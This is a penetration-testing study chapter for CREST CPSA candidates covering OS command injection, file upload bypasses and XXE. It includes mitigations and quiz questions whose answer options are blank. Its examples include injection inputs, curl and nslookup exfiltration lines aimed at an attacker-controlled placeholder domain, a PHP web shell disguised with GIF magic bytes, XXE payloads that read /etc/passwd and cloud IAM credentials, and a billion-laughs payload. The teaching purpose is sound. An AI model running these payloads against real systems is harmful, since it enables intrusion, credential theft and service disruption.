11.4 Command Injection, File Upload Vulnerabilities & API Flaws

Key Takeaways

  • Operating System Command Injection occurs when untrusted input is concatenated directly into system shell calls (system, exec, popen), allowing attackers to execute arbitrary system commands using operators such as ;, |, &&, and subshells.
  • Blind command injection yields no reflected command output in the HTTP response, necessitating detection via time delays (sleep, ping) or out-of-band application security testing (OAST) via DNS queries.
  • Unrestricted file upload vulnerabilities allow attackers to deploy executable web shells, bypassing flawed client-side checks, MIME-type inspection, extension blacklists, and magic byte validations.
  • XML External Entity (XXE) injection targets vulnerable XML parsers processing Document Type Definitions (DTDs), enabling local file disclosure, Server-Side Request Forgery (SSRF), and denial of service.
Last updated: September 2026

11.4 Command Injection, File Upload Vulnerabilities & API Flaws

While client-side flaws such as XSS and CSRF compromise user sessions, server-side injection and file handling vulnerabilities represent immediate threats to the underlying server infrastructure. When an application accepts untrusted data and executes it within the operating system shell, permits the upload of arbitrary server-side code, or improperly parses structured data formats such as XML, attackers can obtain full system compromise.

For CREST CPSA candidates, understanding the technical mechanics, exploitation vectors, detection methodologies, and architectural mitigations for OS Command Injection, Unrestricted File Uploads, and XML External Entity (XXE) Injection is essential for conducting thorough infrastructure and application assessments.


Operating System Command Injection

Operating System Command Injection (also known as shell injection) occurs when an application passes unsanitized user-supplied data to a system shell interpreter. The application intends to execute a specific system utility (such as ping, nslookup, traceroute, or sendmail), but an adversary manipulates the command line syntax to execute arbitrary, unauthorized operating system commands with the privileges of the web server service account (e.g., www-data, apache, or IIS_IUSRS).

Target Code: $ip = $_POST['ip'];
             system("ping -c 4 " . $ip);

Attacker Input: 8.8.8.8; whoami

Resulting Shell Execution:
ping -c 4 8.8.8.8 ; whoami
[--- Command 1 ---] [--- Injected Command 2 ---]

Vulnerable Execution Functions

Command injection occurs when developers invoke APIs that spawn a command shell (/bin/sh, /bin/bash, or cmd.exe) rather than directly invoking a binary with distinct arguments:

  • PHP: system(), exec(), passthru(), shell_exec(), popen(), proc_open(), backtick operator (`command`).
  • Python: os.system(), os.popen(), subprocess.Popen(..., shell=True), subprocess.run(..., shell=True).
  • Node.js: child_process.exec().
  • C / C++: system(), popen().

Command Chaining Operators and Separators

Attackers use shell metacharacters to chain their injected payload onto the legitimate command:

+---------------------------------------------------------------------------------------------------+
|                                    SHELL METACHARACTER TAXONOMY                                   |
+---------------------------------------------------------------------------------------------------+
| Operator     | Shell Support | Behavior & Execution Flow                                          |
+--------------+---------------+--------------------------------------------------------------------+
| ; (Semicolon)| Unix / Linux  | Sequential execution; second command executes regardless of first  |
| & (Ampersand)| Windows / Unix| Asynchronous execution; spawns first in background, runs second   |
| && (AND)     | Windows / Unix| Conditional execution; second runs ONLY if first succeeds (exit 0) |
| || (OR)      | Windows / Unix| Conditional execution; second runs ONLY if first fails (exit != 0) |
| | (Pipe)     | Windows / Unix| Pipes stdout of first command into stdin of second command         |
| ` (Backtick) | Unix / Linux  | Inline command substitution; executes inner command first          |
| $(command)   | Unix / Linux  | Subshell execution; replaces token with stdout of inner command    |
| %0a (Newline)| Unix / Linux  | Line terminator; starts a completely new command line              |
+---------------------------------------------------------------------------------------------------+

In-Band vs. Blind Command Injection

Command injection vulnerabilities present across two distinct operational profiles:

  1. In-Band (Direct) Command Injection: The web application captures both standard output (stdout) and standard error (stderr) of the executed shell process and renders it directly within the HTTP response body. For example, injecting ; cat /etc/passwd reflects the contents of the password database directly on the webpage.
  2. Blind (Out-of-Band / Inferred) Command Injection: The application executes the command asynchronously or discards process output, returning a generic success message or HTTP status code regardless of execution results. Because no output is displayed, analysts use indirect verification techniques:
    • Time-Based Inference: The tester injects a command that forces the operating system to pause execution for a deterministic duration:
      • Unix/Linux: ; sleep 10 or | sleep 10
      • Windows: & ping -n 11 127.0.0.1 (pings localhost 11 times, introducing a 10-second delay) If the HTTP response latency matches the injected sleep duration, command execution is confirmed.
    • Out-of-Band (OOB) Application Security Testing (OAST): When outbound network connections are permitted, the tester injects a network callback command directed to an analyst-controlled domain (e.g., using Burp Collaborator):
      • ; nslookup $(whoami).attacker-controlled.com
      • ; curl http://attacker-controlled.com/$(whoami | base64) Receiving a DNS resolution query or HTTP request confirms command execution and exfiltrates data in the subdomain prefix.

Mitigating Command Injection

  • Avoid Shell Invocation: Replace system calls with native programming language APIs (e.g., using Python's socket library or native file management functions rather than invoking shell utilities like ping or rm).
  • Parameterized Process Invocation: If an external binary must be executed, use APIs that pass arguments as an array without invoking a command shell:
    # SECURE: shell=False prevents metacharacter interpretation
    import subprocess
    subprocess.run(["/bin/ping", "-c", "4", target_ip], shell=False, check=True)
    
  • Strict Allowlist Validation: Ensure input conforms strictly to expected formats (e.g., validating that an IP address strictly matches ^[0-9]{1,3}(\.[0-9]{1,3}){3}$).

Unrestricted File Upload Vulnerabilities

File upload functionality is a common feature in modern web applications, allowing users to upload avatars, PDF documents, spreadsheets, and multimedia. When an application permits users to upload files without adequate validation of file type, content, and destination storage, an attacker can upload an executable web shell, achieving immediate Remote Code Execution (RCE).

+-----------------------+     1. POST /upload.php (shell.php)      +------------------------+
| Attacker Machine      | ---------------------------------------> | Vulnerable Web Server  |
| (Kali Linux)          |                                          | (/var/www/html/uploads)|
+-----------------------+ <---------------------------------------+------------------------+
           |                  2. Upload Succeeded: /uploads/shell.php          |
           |                                                                   v
           |                  3. GET /uploads/shell.php?cmd=whoami             |
           +-------------------------------------------------------------------+
           |                  4. Web Server executes PHP -> Returns "www-data" |
           v

Flawed File Validation Mechanisms & Bypasses

Applications frequently implement superficial checks that can be circumvented:

+---------------------------------------------------------------------------------------------------+
|                                FILE UPLOAD VALIDATION BYPASS MATRIX                               |
+---------------------------------------------------------------------------------------------------+
| Flawed Defensive Check         | Attacker Bypass Technique                                         |
+--------------------------------+------------------------------------------------------------------+
| Client-side JavaScript check   | Intercept POST in Burp Suite and restore original .php extension  |
| MIME-type Content-Type header  | Intercept request and change Content-Type to image/jpeg or png   |
| File extension blacklist       | Use alternate executable extensions (.php5, .phtml, .phar, .pht)  |
| Case-sensitive extension check | Exploit Windows/NTFS case insensitivity (.PhP, .AsPx)             |
| Trailing character filters     | Append trailing dots/spaces in Windows (shell.php. or shell.php )|
| Magic bytes / File signature   | Prepend valid magic bytes (GIF89a) to web shell payload           |
+---------------------------------------------------------------------------------------------------+
  1. Client-Side Validation Bypass: Applications check file extensions using browser JavaScript before transmission. A penetration tester selects a valid .jpg file to satisfy the browser check, catches the outgoing request in Burp Suite, and renames the file to shell.php with the payload body.
  2. MIME-Type (Content-Type) Spoofing: Applications verify the Content-Type header submitted in the multipart body (e.g., verifying Content-Type: image/png). Because the client controls this header, an attacker uploads a PHP script while modifying the header to Content-Type: image/jpeg.
  3. Blacklist Bypass via Alternative Extensions: Developers blacklist .php or .asp, but fail to restrict alternate extensions parsed by server interpreters:
    • PHP: .php3, .php4, .php5, .phtml, .pht, .phar
    • ASP / ASP.NET: .asa, .cer, .asax, .ashx, .config
    • JSP / Java: .jspx, .jsw, .jsv, .jspf
  4. Magic Bytes (File Signature) Inspection: Applications inspect the first few bytes of the file to confirm its signature (e.g., GIF89a for GIF images, or \xFF\xD8\xFF for JPEG). An attacker bypasses this check by creating a polyglot file—prepending valid magic bytes directly before the PHP code:
    GIF89a;
    <?php system($_GET['cmd']); ?>
    

Secure File Upload Architecture

To securely implement file uploads, organizations must adopt defense-in-depth architectural controls:

  • Storage Outside Web Root: Store uploaded files in a directory located completely outside the web server's public document root (e.g., in /var/storage/uploads instead of /var/www/html/uploads), serving files indirectly via an application handler that streams raw bytes.
  • Disabling Execution Permissions: In Apache, configure directory directives to disable script engines (php_admin_flag engine off) and override rules (AllowOverride None). In Nginx, ensure the uploads location block sets types { } default_type application/octet-stream;.
  • Filename Randomization & Extension Allowlisting: Discard the original user-supplied filename completely. Generate a cryptographically random UUID for the filename on disk (e.g., 550e8400-e29b-41d4-a716-446655440000.png) and strictly enforce an allowlist of non-executable extensions.
  • Dedicated Isolated Storage Domain: Serve user-uploaded content from an isolated, cookie-less subdomain or dedicated cloud object storage bucket (e.g., AWS S3, Google Cloud Storage) configured with Content-Disposition: attachment to prevent stored XSS.

XML External Entity (XXE) Injection

XML External Entity (XXE) injection occurs when an application processes untrusted XML input using a weakly configured XML parser that parses Document Type Definitions (DTDs) and resolves external entities.

+---------------------------------------------------------------------------------------------------+
|                                     XXE EXPLOITATION ARCHITECTURE                                 |
+---------------------------------------------------------------------------------------------------+
| Attacker submits crafted XML with external entity declaration:                                    |
|                                                                                                   |
| <?xml version="1.0" encoding="UTF-8"?>                                                            |
| <!DOCTYPE foo [                                                                                   |
|   <!ELEMENT foo ANY >                                                                             |
|   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>                                                    |
| <stockCheck>                                                                                      |
|   <productId>&xxe;</productId>                                                                    |
| </stockCheck>                                                                                     |
|                                                                                                   |
| XML Parser resolves SYSTEM entity -> Reads /etc/passwd -> Embeds contents into <productId>        |
| Application returns: "Product /etc/passwd: root:x:0:0:... out of stock"                          |
+---------------------------------------------------------------------------------------------------+

XML Entities and DTD Syntax

XML allows documents to define custom entities within an inline Document Type Definition (<!DOCTYPE>). Entities act as variables within the XML document:

  • General Internal Entity: <!ENTITY author "John Doe"> -> Reference &author; resolves to John Doe.
  • External Entity: Declared using the SYSTEM keyword followed by a URI. When the XML parser encounters <!ENTITY xxe SYSTEM "file:///etc/passwd">, it retrieves the resource referenced by the URI and replaces the entity reference &xxe; with the retrieved content.

Attack Vectors and Operational Impact

  1. Arbitrary File Disclosure: As illustrated above, referencing local filesystem URIs (file:///etc/passwd, file:///c:/windows/win.ini) allows an attacker to extract sensitive system configuration and credential files.
  2. Server-Side Request Forgery (SSRF): An attacker replaces the file:// URI with an internal network address: <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">. The XML parser issues an HTTP GET request to the cloud metadata service, exposing IAM role credentials.
  3. Denial of Service (Billion Laughs / XML Entity Expansion Attack): An attacker exploits recursive entity expansion without external entities to exhaust server memory and CPU:
    <!DOCTYPE lolz [
      <!ENTITY lol "lol">
      <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
      <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
      <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    ]>
    <data>&lol3;</data>
    
    A small payload of several hundred bytes expands exponentially into gigabytes of memory, crashing the parser process.
  4. Blind XXE via Out-of-Band Exfiltration: When the application does not reflect parsed XML values in the HTTP response, the attacker defines an external parameter entity (%) that fetches a remote DTD from an attacker-controlled server. The remote DTD dynamically reads a sensitive file and transmits it as a query parameter in a secondary HTTP or FTP request to the attacker's listener.

XXE Remediation & Parser Hardening

The definitive defense against XML External Entity injection is to disable Document Type Definitions (DTDs) and external entity resolution completely within the XML parser configuration:

  • Java (DOM Parser / SAX Parser):
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    
  • Python (defusedxml): Use the defusedxml package, which inherently disables entity expansion and external DTD resolution.
  • PHP (libxml): Ensure libxml_disable_entity_loader(true) is set (default behavior in modern PHP versions with libxml 2.9.0+).
Test Your Knowledge

An analyst tests a network diagnostic feature on a Linux web server that executes ping -c 4 [input]. Submitting 8.8.8.8; sleep 10 causes the server response to take exactly 14 seconds to return, but no command output is displayed in the page. What does this behavior indicate?

A
B
C
D
Test Your Knowledge

A penetration tester attempts to upload a PHP web shell shell.php. The application rejects the file stating only JPEG images are permitted. The tester intercepts the request in a proxy, changes the Content-Type header to image/jpeg, and prepends the magic bytes GIF89a; to the file body. The file uploads successfully. Which validation flaws were bypassed?

A
B
C
D
Test Your Knowledge

A web application accepts XML input to process purchase orders. An analyst submits an XML payload containing <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> and references &xxe; within a product description tag. The application response displays the contents of /etc/passwd. What is the primary remediation for this vulnerability?

A
B
C
D
Test Your Knowledge

Which architectural configuration provides the strongest defense against unrestricted file upload vulnerabilities leading to Remote Code Execution?

A
B
C
D